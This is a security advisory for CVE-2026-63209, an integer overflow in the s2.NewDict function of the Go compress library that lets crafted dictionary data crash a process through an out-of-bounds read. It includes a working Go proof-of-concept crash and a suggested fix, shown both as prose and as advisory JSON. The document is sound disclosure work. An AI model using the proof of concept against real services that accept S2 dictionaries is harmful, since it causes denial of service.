GHSA-259R-337F-4RFW

Vulnerability from github – Published: 2026-10-20 14:33 – Updated: 2026-10-20 14:33
VLAI
Summary
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
Details

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

  • Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that: 1. Accepts user-supplied S2 dictionary data via s2.NewDict() 2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klauspost/compress"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T14:33:33Z",
    "nvd_published_at": "2026-09-29T15:17:27Z",
    "severity": "HIGH"
  },
  "details": "# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** \u003c= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** \u2014 CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat \u003e len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // \u003e MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data \u226532 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r \u003e math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/",
  "id": "GHSA-259r-337f-4rfw",
  "modified": "2026-10-20T14:33:33Z",
  "published": "2026-10-20T14:33:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/pull/1163"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klauspost/compress"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/releases/tag/v1.18.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress"
}



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